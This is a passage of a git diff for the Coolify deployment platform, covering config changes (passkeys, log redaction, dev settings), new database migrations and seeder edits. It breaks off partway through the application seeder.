657d393ab6..0da39cc3d2 100644 --- a/config/constants.php +++ b/config/constants.php @@ -5,7 +5,7 @@ $sshCommandTimeout = (int) env('SSH_COMMAND_TIMEOUT', 3600); return [ 'coolify' => [ - 'version' => env('COOLIFY_VERSION') ?: '4.4.2', + 'version' => env('COOLIFY_VERSION') ?: '4.4.6', 'helper_version' => '1.0.18', 'railpack_version' => '0.40.1', 'self_hosted' => env('SELF_HOSTED', true), @@ -15,6 +15,8 @@ return [ // devHostDockerPath() uses them only for that server. The defaults are the legacy docker-compose.dev.yml names. 'dev_data_volume' => env('DEV_COOLIFY_DATA_VOLUME', 'coolify_dev_coolify_data'), 'dev_backups_volume' => env('DEV_COOLIFY_BACKUPS_VOLUME', 'coolify_dev_backups_data'), + // Development only: IP for the seeded sslip.io wildcard domain and application domains (for example a Tailscale IP). + 'dev_seed_ip' => env('DEV_SEED_IP') ?: '127.0.0.1', 'registry_url' => env('REGISTRY_URL', 'docker.io'), 'helper_image' => env('HELPER_IMAGE', env('REGISTRY_URL', 'docker.io').'/coollabsio/coolify-helper'), 'is_windows_docker_desktop' => env('IS_WINDOWS_DOCKER_DESKTOP', false), @@ -43,6 +45,12 @@ return [ 'host' => env('TERMINAL_HOST'), 'port' => env('TERMINAL_PORT'), 'command_timeout' => 0, + // Docker's default detach escape for `docker attach`. Pressing this + // sequence (Ctrl-P, Ctrl-Q) leaves the container's main process running. + 'detach_keys' => 'ctrl-p,ctrl-q', + // Recent log lines shown when a console (attach) session opens, so the + // screen is not blank until the next line of live output arrives. + 'console_history_lines' => 200, ], 'pusher' => [ diff --git a/config/deprecations.php b/config/deprecations.php index 551b562fa7..5bd7f0589c 100644 --- a/config/deprecations.php +++ b/config/deprecations.php @@ -2,4 +2,5 @@ return [ 'swarm' => 'Docker Swarm is deprecated and will be removed in Coolify v5. Coolify v5 will be replacing Swarm with native Docker Compose replicas and our own scaling solution. Existing Swarm deployments will continue to work on v4 as-is. We do not recommend setting up new Swarm deployments for the time being.', + 'nixpacks' => 'Nixpacks is deprecated and is in maintenance mode upstream. We recommend Railpack, the successor of Nixpacks, for new and existing applications.', ]; diff --git a/config/development-qemu.php b/config/development-qemu.php index ed93362258..983cd587aa 100644 --- a/config/development-qemu.php +++ b/config/development-qemu.php @@ -145,7 +145,8 @@ return [ 'subnet' => $developmentQemuInstance === null ? '192.168.122.0/24' : "10.221.{$developmentQemuSlot}.0/24", 'prefix' => 24, 'dns' => '1.1.1.1', - 'memory' => 2048, + // MiB per VM. Many dev instances share one host, so keep this small; existing VMs get it on their next start. + 'memory' => (int) env('DEVELOPMENT_QEMU_MEMORY', 1024), 'vcpus' => 2, 'disk_size' => '20G', 'libvirt_network' => $developmentQemuInstance === null ? 'default' : "coolify-dev-{$developmentQemuSlot}", diff --git a/config/fortify.php b/config/fortify.php index 5b7864af01..03b1c70ae0 100644 --- a/config/fortify.php +++ b/config/fortify.php @@ -1,5 +1,6 @@ ['web'], + 'middleware' => ['web', ConfigurePasskeys::class], /* |-------------------------------------------------------------------------- @@ -106,6 +107,7 @@ return [ 'login' => 'login', 'two-factor' => 'two-factor', 'forgot-password' => 'forgot-password', + 'passkeys' => 'passkeys', ], /* @@ -121,6 +123,22 @@ return [ 'views' => true, + /* + |-------------------------------------------------------------------------- + | Passkeys + |-------------------------------------------------------------------------- + | + | Defaults only. ConfigurePasskeys sets the relying party for each request. + | + */ + + 'passkeys' => [ + 'relying_party_id' => parse_url(config('app.url'), PHP_URL_HOST), + 'allowed_origins' => [config('app.url')], + 'user_handle_secret' => env('PASSKEYS_USER_HANDLE_SECRET', config('app.key')), + 'timeout' => 60000, + ], + /* |-------------------------------------------------------------------------- | Features @@ -142,6 +160,9 @@ return [ 'confirmPassword' => true, // 'window' => 0, ]), + Features::passkeys([ + 'confirmPassword' => true, + ]), ], ]; diff --git a/config/logging.php b/config/logging.php index 40d372b58d..497d4bbdd5 100644 --- a/config/logging.php +++ b/config/logging.php @@ -1,5 +1,7 @@ (bool) env('LOG_REDACTION_ENABLED', true), + 'channels' => [ 'stack' => [ 'driver' => 'stack', @@ -61,6 +76,7 @@ return [ 'driver' => 'single', 'path' => storage_path('logs/laravel.log'), 'level' => env('LOG_LEVEL', 'debug'), + 'tap' => [RedactSensitiveData::class], ], 'daily' => [ @@ -68,6 +84,7 @@ return [ 'path' => storage_path('logs/laravel.log'), 'level' => env('LOG_LEVEL', 'debug'), 'days' => 14, + 'tap' => [RedactSensitiveData::class], ], 'slack' => [ @@ -76,11 +93,13 @@ return [ 'username' => 'Laravel Log', 'emoji' => ':boom:', 'level' => env('LOG_LEVEL', 'critical'), + 'tap' => [RedactSensitiveData::class], ], 'papertrail' => [ 'driver' => 'monolog', 'level' => env('LOG_LEVEL', 'debug'), + 'tap' => [RedactSensitiveData::class], 'handler' => env('LOG_PAPERTRAIL_HANDLER', SyslogUdpHandler::class), 'handler_with' => [ 'host' => env('PAPERTRAIL_URL'), @@ -92,6 +111,7 @@ return [ 'stderr' => [ 'driver' => 'monolog', 'level' => env('LOG_LEVEL', 'debug'), + 'tap' => [RedactSensitiveData::class], 'handler' => StreamHandler::class, 'formatter' => env('LOG_STDERR_FORMATTER'), 'with' => [ @@ -102,12 +122,14 @@ return [ 'syslog' => [ 'driver' => 'syslog', 'level' => env('LOG_LEVEL', 'debug'), + 'tap' => [RedactSensitiveData::class], 'facility' => LOG_USER, ], 'errorlog' => [ 'driver' => 'errorlog', 'level' => env('LOG_LEVEL', 'debug'), + 'tap' => [RedactSensitiveData::class], ], 'null' => [ @@ -124,6 +146,7 @@ return [ 'path' => storage_path('logs/scheduled.log'), 'level' => 'debug', 'days' => 7, + 'tap' => [RedactSensitiveData::class], ], 'scheduled-errors' => [ @@ -131,6 +154,7 @@ return [ 'path' => storage_path('logs/scheduled-errors.log'), 'level' => 'warning', 'days' => 14, + 'tap' => [RedactSensitiveData::class], ], 'audit' => [ @@ -139,6 +163,7 @@ return [ 'level' => env('LOG_AUDIT_LEVEL', 'info'), 'days' => env('LOG_AUDIT_DAYS', 90), 'replace_placeholders' => true, + 'tap' => [RedactSensitiveAuditData::class], ], ], diff --git a/database/migrations/2026_09_25_105051_add_redact_all_env_values_in_logs_to_resources.php b/database/migrations/2026_09_25_105051_add_redact_all_env_values_in_logs_to_resources.php new file mode 100644 index 0000000000..0944bc2daa --- /dev/null +++ b/database/migrations/2026_09_25_105051_add_redact_all_env_values_in_logs_to_resources.php @@ -0,0 +1,34 @@ +boolean('redact_all_env_values_in_logs')->default(true); + }); + Schema::table('services', function (Blueprint $table) { + $table->boolean('redact_all_env_values_in_logs')->default(true); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('application_settings', function (Blueprint $table) { + $table->dropColumn('redact_all_env_values_in_logs'); + }); + Schema::table('services', function (Blueprint $table) { + $table->dropColumn('redact_all_env_values_in_logs'); + }); + } +}; diff --git a/database/migrations/2026_09_27_154836_add_uses_legacy_escaping_to_environment_variables_table.php b/database/migrations/2026_09_27_154836_add_uses_legacy_escaping_to_environment_variables_table.php new file mode 100644 index 0000000000..dae1855dd5 --- /dev/null +++ b/database/migrations/2026_09_27_154836_add_uses_legacy_escaping_to_environment_variables_table.php @@ -0,0 +1,38 @@ +boolean('uses_legacy_escaping')->default(true); + }); + + Schema::table('environment_variables', function (Blueprint $table) { + $table->boolean('uses_legacy_escaping')->default(false)->change(); + }); + } + + public function down(): void + { + if (! Schema::hasColumn('environment_variables', 'uses_legacy_escaping')) { + return; + } + + Schema::table('environment_variables', function (Blueprint $table) { + $table->dropColumn('uses_legacy_escaping'); + }); + } +}; diff --git a/database/migrations/2026_10_07_125311_add_cloudflare_tunnel_api_fields_to_server_settings.php b/database/migrations/2026_10_07_125311_add_cloudflare_tunnel_api_fields_to_server_settings.php new file mode 100644 index 0000000000..41cf9e0094 --- /dev/null +++ b/database/migrations/2026_10_07_125311_add_cloudflare_tunnel_api_fields_to_server_settings.php @@ -0,0 +1,31 @@ +string('cloudflare_tunnel_id')->nullable(); + $table->string('cloudflare_tunnel_account_id')->nullable(); + $table->foreignId('cloudflare_tunnel_integration_token_id')->nullable()->constrained('integration_tokens')->nullOnDelete(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->dropConstrainedForeignId('cloudflare_tunnel_integration_token_id'); + $table->dropColumn(['cloudflare_tunnel_id', 'cloudflare_tunnel_account_id']); + }); + } +}; diff --git a/database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php b/database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php new file mode 100644 index 0000000000..39aff70ad2 --- /dev/null +++ b/database/migrations/2026_10_07_150000_create_backup_s3_destination_tables.php @@ -0,0 +1,126 @@ +id(); + $table->foreignId('scheduled_database_backup_id') + ->constrained(indexName: 'db_backup_s3_storage_backup_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->constrained(indexName: 'db_backup_s3_storage_storage_fk') + ->cascadeOnDelete(); + $table->timestamps(); + $table->unique(['scheduled_database_backup_id', 's3_storage_id'], 'db_backup_s3_storage_unique'); + }); + + Schema::create('scheduled_volume_backup_s3_storage', function (Blueprint $table) { + $table->id(); + $table->foreignId('scheduled_volume_backup_id') + ->constrained(indexName: 'volume_backup_s3_storage_backup_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->constrained(indexName: 'volume_backup_s3_storage_storage_fk') + ->cascadeOnDelete(); + $table->timestamps(); + $table->unique(['scheduled_volume_backup_id', 's3_storage_id'], 'volume_backup_s3_storage_unique'); + }); + + Schema::create('database_backup_s3_replicas', function (Blueprint $table) { + $table->id(); + $table->foreignId('execution_id') + ->index() + ->constrained('scheduled_database_backup_executions', indexName: 'db_backup_s3_replicas_execution_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->nullable() + ->constrained(indexName: 'db_backup_s3_replicas_storage_fk') + ->nullOnDelete(); + $table->boolean('s3_uploaded')->nullable(); + $table->boolean('s3_storage_deleted')->default(false); + $table->text('message')->nullable(); + $table->timestamps(); + }); + + Schema::create('volume_backup_s3_replicas', function (Blueprint $table) { + $table->id(); + $table->foreignId('execution_id') + ->index() + ->constrained('scheduled_volume_backup_executions', indexName: 'volume_backup_s3_replicas_execution_fk') + ->cascadeOnDelete(); + $table->foreignId('s3_storage_id') + ->nullable() + ->constrained(indexName: 'volume_backup_s3_replicas_storage_fk') + ->nullOnDelete(); + $table->boolean('s3_uploaded')->nullable(); + $table->boolean('s3_storage_deleted')->default(false); + $table->text('message')->nullable(); + $table->timestamps(); + }); + + $this->backfill(); + } + + public function down(): void + { + Schema::dropIfExists('volume_backup_s3_replicas'); + Schema::dropIfExists('database_backup_s3_replicas'); + Schema::dropIfExists('scheduled_volume_backup_s3_storage'); + Schema::dropIfExists('scheduled_database_backup_s3_storage'); + } + + /** + * Copies the single S3 destination of existing schedules and executions into the new tables. + */ + private function backfill(): void + { + $now = now(); + + DB::table('scheduled_database_backup_s3_storage')->insertUsing( + ['scheduled_database_backup_id', 's3_storage_id', 'created_at', 'updated_at'], + DB::table('scheduled_database_backups') + ->join('s3_storages', 's3_storages.id', '=', 'scheduled_database_backups.s3_storage_id') + ->select('scheduled_database_backups.id', 'scheduled_database_backups.s3_storage_id') + ->selectRaw('?, ?', [$now, $now]), + ); + + DB::table('scheduled_volume_backup_s3_storage')->insertUsing( + ['scheduled_volume_backup_id', 's3_storage_id', 'created_at', 'updated_at'], + DB::table('scheduled_volume_backups') + ->whereNotNull('s3_storage_id') + ->select('id', 's3_storage_id') + ->selectRaw('?, ?', [$now, $now]), + ); + + // Database executions have no storage column: the copy went to the storage of the schedule. + DB::table('database_backup_s3_replicas')->insertUsing( + ['execution_id', 's3_storage_id', 's3_uploaded', 's3_storage_deleted', 'created_at', 'updated_at'], + DB::table('scheduled_database_backup_executions') + ->join('scheduled_database_backups', 'scheduled_database_backups.id', '=', 'scheduled_database_backup_executions.scheduled_database_backup_id') + ->leftJoin('s3_storages', 's3_storages.id', '=', 'scheduled_database_backups.s3_storage_id') + ->whereNotNull('scheduled_database_backup_executions.s3_uploaded') + ->select( + 'scheduled_database_backup_executions.id', + 's3_storages.id', + 'scheduled_database_backup_executions.s3_uploaded', + 'scheduled_database_backup_executions.s3_storage_deleted', + ) + ->selectRaw('?, ?', [$now, $now]), + ); + + DB::table('volume_backup_s3_replicas')->insertUsing( + ['execution_id', 's3_storage_id', 's3_uploaded', 's3_storage_deleted', 'created_at', 'updated_at'], + DB::table('scheduled_volume_backup_executions') + ->whereNotNull('s3_storage_id') + ->select('id', 's3_storage_id', 's3_uploaded', 's3_storage_deleted') + ->selectRaw('?, ?', [$now, $now]), + ); + } +}; diff --git a/database/migrations/2026_10_09_092903_normalize_ipv6_server_ips.php b/database/migrations/2026_10_09_092903_normalize_ipv6_server_ips.php new file mode 100644 index 0000000000..8563a607ad --- /dev/null +++ b/database/migrations/2026_10_09_092903_normalize_ipv6_server_ips.php @@ -0,0 +1,93 @@ +select(['id', 'team_id', 'ip', 'hetzner_server_id']) + ->where('ip', 'like', '%:%') + ->orderBy('id') + ->chunkById(100, function ($servers): void { + foreach ($servers as $server) { + $this->normalizeServerIp($server); + } + }); + + DB::table('server_settings') + ->select(['id', 'sentinel_custom_url']) + ->where('sentinel_custom_url', 'like', '%://%:%:%') + ->orderBy('id') + ->chunkById(100, function ($settings): void { + foreach ($settings as $setting) { + $this->bracketSentinelUrlHost($setting); + } + }); + } + + public function down(): void + { + // + } + + private function normalizeServerIp(object $server): void + { + $ip = (string) $server->ip; + if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false) { + return; + } + + $newIp = normalizeIpAddress($ip); + // A Hetzner server that really uses ::64 is reachable; the broken network address is not. + $isReachable = (bool) DB::table('server_settings')->where('server_id', $server->id)->value('is_reachable'); + if (! is_null($server->hetzner_server_id) && str_ends_with($ip, '::64') && ! $isReachable) { + $newIp = hetznerServerIpv6(substr($ip, 0, -strlen('::64')).'::/64') ?? $newIp; + } + + if ($newIp === $ip) { + return; + } + + // Coolify does not allow the same server IP twice, in any team. + $duplicateExists = DB::table('servers') + ->whereNull('deleted_at') + ->where('id', '!=', $server->id) + ->where('ip', $newIp) + ->exists(); + if ($duplicateExists) { + Log::warning('Skipped normalizing a server IPv6 address because another server already uses it.', [ + 'server_id' => $server->id, + 'team_id' => $server->team_id, + 'ip' => $ip, + 'normalized_ip' => $newIp, + ]); + + return; + } + + DB::table('servers')->where('id', $server->id)->update(['ip' => $newIp]); + } + + private function bracketSentinelUrlHost(object $setting): void + { + if (preg_match('#\A(https?)://([0-9A-Fa-f:.]+):(\d+)(/.*)?\z#', (string) $setting->sentinel_custom_url, $matches) !== 1) { + return; + } + if (filter_var($matches[2], FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) === false) { + return; + } + + DB::table('server_settings')->where('id', $setting->id)->update([ + 'sentinel_custom_url' => $matches[1].'://'.formatHostForUrl($matches[2]).':'.$matches[3].($matches[4] ?? ''), + ]); + } +}; diff --git a/database/migrations/2026_10_09_115444_remove_duplicate_redis_username_environment_variables.php b/database/migrations/2026_10_09_115444_remove_duplicate_redis_username_environment_variables.php new file mode 100644 index 0000000000..6b367cc59c --- /dev/null +++ b/database/migrations/2026_10_09_115444_remove_duplicate_redis_username_environment_variables.php @@ -0,0 +1,42 @@ +where('resourceable_type', StandaloneRedis::class) + ->where('key', 'REDIS_USERNAME') + ->groupBy('resourceable_id') + ->havingRaw('count(*) > 1') + ->pluck('resourceable_id'); + + foreach ($duplicatedDatabaseIds as $databaseId) { + $variables = DB::table('environment_variables') + ->where('resourceable_type', StandaloneRedis::class) + ->where('resourceable_id', $databaseId) + ->where('key', 'REDIS_USERNAME') + ->orderByDesc('updated_at') + ->orderByDesc('id') + ->pluck('id'); + + DB::table('environment_variables')->whereIn('id', $variables->slice(1)->all())->delete(); + } + } + + public function down(): void + { + // + } +}; diff --git a/database/migrations/2026_10_09_124641_remove_duplicate_nixpacks_node_version_environment_variables.php b/database/migrations/2026_10_09_124641_remove_duplicate_nixpacks_node_version_environment_variables.php new file mode 100644 index 0000000000..d82fa896fb --- /dev/null +++ b/database/migrations/2026_10_09_124641_remove_duplicate_nixpacks_node_version_environment_variables.php @@ -0,0 +1,42 @@ +where('resourceable_type', Application::class) + ->where('key', 'NIXPACKS_NODE_VERSION') + ->select('resourceable_id', 'is_preview') + ->groupBy('resourceable_id', 'is_preview') + ->havingRaw('count(*) > 1') + ->get(); + + foreach ($duplicates as $duplicate) { + $variables = DB::table('environment_variables') + ->where('resourceable_type', Application::class) + ->where('resourceable_id', $duplicate->resourceable_id) + ->where('is_preview', $duplicate->is_preview) + ->where('key', 'NIXPACKS_NODE_VERSION') + ->orderByDesc('updated_at') + ->orderByDesc('id') + ->pluck('id'); + + DB::table('environment_variables')->whereIn('id', $variables->slice(1)->all())->delete(); + } + } + + public function down(): void + { + // + } +}; diff --git a/database/migrations/2026_10_11_075120_add_traefik_certificate_resolver_to_server_settings_table.php b/database/migrations/2026_10_11_075120_add_traefik_certificate_resolver_to_server_settings_table.php new file mode 100644 index 0000000000..f9530b2d98 --- /dev/null +++ b/database/migrations/2026_10_11_075120_add_traefik_certificate_resolver_to_server_settings_table.php @@ -0,0 +1,82 @@ +string('traefik_certificate_resolver')->nullable()->default('letsencrypt'); + }); + } + + DB::table('servers') + ->select(['id', 'proxy']) + ->orderBy('id') + ->chunkById(100, function ($servers): void { + foreach ($servers as $server) { + try { + if ($this->hasNoLetsEncryptResolver($server->proxy)) { + DB::table('server_settings') + ->where('server_id', $server->id) + ->where('traefik_certificate_resolver', 'letsencrypt') + ->update(['traefik_certificate_resolver' => null]); + } + } catch (Throwable $e) { + Log::warning("Could not check the Traefik certificate resolver of server {$server->id}: {$e->getMessage()}"); + } + } + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('server_settings', function (Blueprint $table) { + $table->dropColumn('traefik_certificate_resolver'); + }); + } + + /** + * True only when the saved configuration is a Traefik compose file without an active + * --certificatesresolvers.letsencrypt.* option. Unknown or missing configurations return false. + */ + private function hasNoLetsEncryptResolver(?string $proxy): bool + { + $proxy = json_decode($proxy ?? '', true); + if (strtoupper((string) data_get($proxy, 'type')) !== 'TRAEFIK') { + return false; + } + + $configuration = data_get($proxy, 'last_saved_proxy_configuration'); + if (blank($configuration)) { + return false; + } + + $traefik = collect(data_get(Yaml::parse($configuration), 'services', [])) + ->first(fn ($service) => is_array($service) && str_contains((string) data_get($service, 'image'), 'traefik')); + if (! $traefik) { + return false; + } + + $command = data_get($traefik, 'command', []); + $options = is_array($command) ? $command : preg_split('/\s+/', (string) $command); + + return collect($options)->doesntContain( + fn ($option) => is_string($option) && str_starts_with(strtolower(trim($option, " \t'\"")), '--certificatesresolvers.letsencrypt.') + ); + } +}; diff --git a/database/migrations/2026_10_11_145529_add_traefik_certificate_resolver_to_application_and_service_settings.php b/database/migrations/2026_10_11_145529_add_traefik_certificate_resolver_to_application_and_service_settings.php new file mode 100644 index 0000000000..4afd513e71 --- /dev/null +++ b/database/migrations/2026_10_11_145529_add_traefik_certificate_resolver_to_application_and_service_settings.php @@ -0,0 +1,34 @@ +string('traefik_certificate_resolver')->nullable(); + }); + Schema::table('service_applications', function (Blueprint $table) { + $table->string('traefik_certificate_resolver')->nullable(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('application_settings', function (Blueprint $table) { + $table->dropColumn('traefik_certificate_resolver'); + }); + Schema::table('service_applications', function (Blueprint $table) { + $table->dropColumn('traefik_certificate_resolver'); + }); + } +}; diff --git a/database/migrations/2026_10_11_183411_add_preserve_compose_null_to_environment_variables.php b/database/migrations/2026_10_11_183411_add_preserve_compose_null_to_environment_variables.php new file mode 100644 index 0000000000..31d2e5c1e4 --- /dev/null +++ b/database/migrations/2026_10_11_183411_add_preserve_compose_null_to_environment_variables.php @@ -0,0 +1,36 @@ +boolean('preserve_compose_null')->default(false); + }); + + EnvironmentVariable::query() + ->whereNull('value') + ->where(function ($query) { + $query->where('resourceable_type', Service::class) + ->orWhere(function ($query) { + $query->where('resourceable_type', Application::class) + ->whereIn('resourceable_id', Application::query()->where('build_pack', 'dockercompose')->select('id')->getQuery()); + }); + }) + ->toBase()->update(['preserve_compose_null' => true]); + } + + public function down(): void + { + Schema::table('environment_variables', function (Blueprint $table) { + $table->dropColumn('preserve_compose_null'); + }); + } +}; diff --git a/database/migrations/2026_10_12_002632_add_is_backup_before_update_enabled_to_instance_settings_table.php b/database/migrations/2026_10_12_002632_add_is_backup_before_update_enabled_to_instance_settings_table.php new file mode 100644 index 0000000000..ff6cc2509e --- /dev/null +++ b/database/migrations/2026_10_12_002632_add_is_backup_before_update_enabled_to_instance_settings_table.php @@ -0,0 +1,28 @@ +boolean('is_backup_before_update_enabled')->default(true); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('instance_settings', function (Blueprint $table) { + $table->dropColumn('is_backup_before_update_enabled'); + }); + } +}; diff --git a/database/migrations/2026_10_12_121520_add_failure_count_to_notification_settings_tables.php b/database/migrations/2026_10_12_121520_add_failure_count_to_notification_settings_tables.php new file mode 100644 index 0000000000..4e7e1c54f9 --- /dev/null +++ b/database/migrations/2026_10_12_121520_add_failure_count_to_notification_settings_tables.php @@ -0,0 +1,45 @@ +tables as $table) { + if (! Schema::hasColumn($table, 'failure_count')) { + Schema::table($table, function (Blueprint $table) { + $table->integer('failure_count')->default(0); + }); + } + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + foreach ($this->tables as $table) { + if (Schema::hasColumn($table, 'failure_count')) { + Schema::table($table, function (Blueprint $table) { + $table->dropColumn('failure_count'); + }); + } + } + } +}; diff --git a/database/migrations/2026_10_12_154805_add_application_id_index_to_application_settings_table.php b/database/migrations/2026_10_12_154805_add_application_id_index_to_application_settings_table.php new file mode 100644 index 0000000000..da19a54fb4 --- /dev/null +++ b/database/migrations/2026_10_12_154805_add_application_id_index_to_application_settings_table.php @@ -0,0 +1,36 @@ +index('application_id'); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + if (! Schema::hasIndex('application_settings', ['application_id'])) { + return; + } + + Schema::table('application_settings', function (Blueprint $table) { + $table->dropIndex(['application_id']); + }); + } +}; diff --git a/database/migrations/2026_10_12_164601_create_passkeys_table.php b/database/migrations/2026_10_12_164601_create_passkeys_table.php new file mode 100644 index 0000000000..97d6bf59b1 --- /dev/null +++ b/database/migrations/2026_10_12_164601_create_passkeys_table.php @@ -0,0 +1,42 @@ +id(); + $table->foreignId('user_id')->constrained()->cascadeOnDelete(); + $table->string('name'); + $table->string('credential_id')->unique(); + $table->json('credential'); + $table->timestamp('last_used_at')->nullable(); + $table->timestamps(); + + $table->index('user_id'); + }); + + Schema::table('instance_settings', function (Blueprint $table) { + $table->boolean('is_passkey_enabled')->default(true); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('instance_settings', function (Blueprint $table) { + $table->dropColumn('is_passkey_enabled'); + }); + + Schema::dropIfExists('passkeys'); + } +}; diff --git a/database/migrations/2026_10_12_192444_add_canvas_positions_to_environments_table.php b/database/migrations/2026_10_12_192444_add_canvas_positions_to_environments_table.php new file mode 100644 index 0000000000..aa4a3c3040 --- /dev/null +++ b/database/migrations/2026_10_12_192444_add_canvas_positions_to_environments_table.php @@ -0,0 +1,22 @@ +json('canvas_positions')->nullable(); + }); + } + + public function down(): void + { + Schema::table('environments', function (Blueprint $table) { + $table->dropColumn('canvas_positions'); + }); + } +}; diff --git a/database/migrations/2026_10_12_192445_create_resource_links_table.php b/database/migrations/2026_10_12_192445_create_resource_links_table.php new file mode 100644 index 0000000000..6626982a51 --- /dev/null +++ b/database/migrations/2026_10_12_192445_create_resource_links_table.php @@ -0,0 +1,29 @@ +id(); + $table->string('uuid')->unique(); + $table->foreignId('environment_id')->constrained()->cascadeOnDelete(); + $table->morphs('source'); + $table->morphs('target'); + $table->string('label', 64)->nullable(); + $table->foreignId('created_by')->nullable()->constrained('users')->nullOnDelete(); + $table->timestamps(); + + $table->unique(['environment_id', 'source_type', 'source_id', 'target_type', 'target_id'], 'resource_links_unique_direction'); + }); + } + + public function down(): void + { + Schema::dropIfExists('resource_links'); + } +}; diff --git a/database/migrations/2026_10_13_101731_add_redact_all_env_values_in_logs_to_standalone_databases.php b/database/migrations/2026_10_13_101731_add_redact_all_env_values_in_logs_to_standalone_databases.php new file mode 100644 index 0000000000..28af764121 --- /dev/null +++ b/database/migrations/2026_10_13_101731_add_redact_all_env_values_in_logs_to_standalone_databases.php @@ -0,0 +1,50 @@ +tables as $table) { + if (Schema::hasColumn($table, 'redact_all_env_values_in_logs')) { + continue; + } + Schema::table($table, function (Blueprint $table) { + $table->boolean('redact_all_env_values_in_logs')->default(true); + }); + } + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + foreach ($this->tables as $table) { + if (! Schema::hasColumn($table, 'redact_all_env_values_in_logs')) { + continue; + } + Schema::table($table, function (Blueprint $table) { + $table->dropColumn('redact_all_env_values_in_logs'); + }); + } + } +}; diff --git a/database/migrations/2026_10_13_132049_add_avatar_columns_to_teams_table.php b/database/migrations/2026_10_13_132049_add_avatar_columns_to_teams_table.php new file mode 100644 index 0000000000..2bb341cbb3 --- /dev/null +++ b/database/migrations/2026_10_13_132049_add_avatar_columns_to_teams_table.php @@ -0,0 +1,31 @@ +string('avatar_path')->nullable(); + $table->string('avatar_storage_type')->nullable(); + $table->foreignId('avatar_s3_storage_id')->nullable()->constrained('s3_storages')->nullOnDelete(); + }); + } + + /** + * Reverse the migrations. + */ + public function down(): void + { + Schema::table('teams', function (Blueprint $table) { + $table->dropConstrainedForeignId('avatar_s3_storage_id'); + $table->dropColumn(['avatar_path', 'avatar_storage_type']); + }); + } +}; diff --git a/database/seeders/ApplicationSeeder.php b/database/seeders/ApplicationSeeder.php index 779f1f7df2..50b573b56f 100644 --- a/database/seeders/ApplicationSeeder.php +++ b/database/seeders/ApplicationSeeder.php @@ -10,18 +10,24 @@ use Illuminate\Database\Seeder; class ApplicationSeeder extends Seeder { + public const EXAMPLES_REPOSITORY = 'coollabsio/coolify-examples'; + + public const EXAMPLES_REPOSITORY_PROJECT_ID = 603035348; + /** * Run the database seeds. */ public function run(): void { + $sslipHost = ServerSettingSeeder::sslipHost(); + Application::create([ 'uuid' => 'docker-compose', 'name' => 'Docker Compose Example', - 'repository_project_id' => 603035348, - 'git_repository' => 'coollabsio/coolify-examples', + 'repository_project_id' => self::EXAMPLES_REPOSITORY_PROJECT_ID, + 'git_repository' => self::EXAMPLES_REPOSITORY, 'git_branch' => 'main', - 'base_directory' => '/docker-compose', + 'base_directory' => '/internal/compose', 'docker_compose_location' => '/docker-compose-test.yaml', 'build_pack' => 'dockercompose', 'ports_exposes' => '80', @@ -31,30 +37,14 @@ class ApplicationSeeder extends Seeder 'source_id' => 1, 'source_type' => GithubApp::class, ]); - Application::create([ - 'uuid' => 'nodejs', - 'name' => 'NodeJS Fastify Example', - 'fqdn' => 'http://nodejs.127.0.0.1.sslip.io', - 'repository_project_id' => 603035348, - 'git_repository' => 'coollabsio/coolify-examples', - 'git_branch' => 'main', - 'base_directory' => '/nodejs', - 'build_pack' => 'nixpacks', - 'ports_exposes' => '3000', - 'environment_id' => 1, - 'destination_id' => 0, - 'destination_type' => StandaloneDocker::class, - 'source_id' => 1, - 'source_type' => GithubApp::class, - ]); Application::create([ 'uuid' => 'dockerfile', 'name' => 'Dockerfile Example', - 'fqdn' => 'http://dockerfile.127.0.0.1.sslip.io', - 'repository_project_id' => 603035348, - 'git_repository' => 'coollabsio/coolify-examples', + 'fqdn' => "http://dockerfile.{$sslipHost}", + 'repository_project_id' => self::EXAMPLES_REPOSITORY_PROJECT_ID, + 'git_repository' => self::EXAMPLES_REPOSITORY, 'git_branch' => 'main', - 'base_directory' => '/dockerfile', + 'base_directory' => '/dockerfile/single-stage', 'build_pack' => 'dockerfile', 'ports_exposes' => '80', 'environment_id' => 1, @@ -66,7 +56,7 @@ class ApplicationSeeder extends Seeder Application::create([ 'uuid' => 'dockerfile-pure', 'name' => 'Pure Dockerfile Example', - 'fqdn' => 'http://pure-dockerfile.127.0.0.1.sslip.io', + 'fqdn' => "http://pure-dockerfile.{$sslipHost}", 'git_repository' => 'coollabsio/coolify', 'git_branch' => 'main', 'git_commit_sha' => 'HEAD', @@ -99,51 +89,81 @@ CMD ["nginx", "-g", "daemon off;"] CMD ["sh", "-c", "echo Crashing in 5 seconds... && sleep 5 && exit 1"] ', ]); - Application::create([ - 'uuid' => 'github-deploy-key', - 'name' => 'GitHub Deploy Key Example', - 'fqdn' => 'http://github-deploy-key.127.0.0.1.sslip.io', - 'git_repository' => 'git@github.com:coollabsio/coolify-examples-deploy-key.git', - 'git_branch' => 'main', - 'build_pack' => 'nixpacks', - 'ports_exposes' => '80', - 'environment_id' => 1, - 'destination_id' => 0, - 'destination_type' => StandaloneDocker::class, - 'source_id' => 0, - 'source_type' => GithubApp::class, - 'private_key_id' => 1, - ]); - Application::create([ - 'uuid' => 'gitlab-deploy-key', - 'name' => 'GitLab Deploy Key Example', - 'fqdn' => 'http://gitlab-deploy-key.127.0.0.1.sslip.io', - 'git_repository' => 'git@gitlab.com:coollabsio/php-example.git', - 'git_branch' => 'main', - 'build_pack' => 'nixpacks', - 'ports_exposes' => '80', - 'environment_id' => 1, - 'destination_id' => 0, - 'destination_type' => StandaloneDocker::class, - 'source_id' => 1, - 'source_type' => GitlabApp::class, - 'private_key_id' => 1, - ]); - Application::create([ - 'uuid' => 'gitlab-public-example', - 'name' => 'GitLab Public 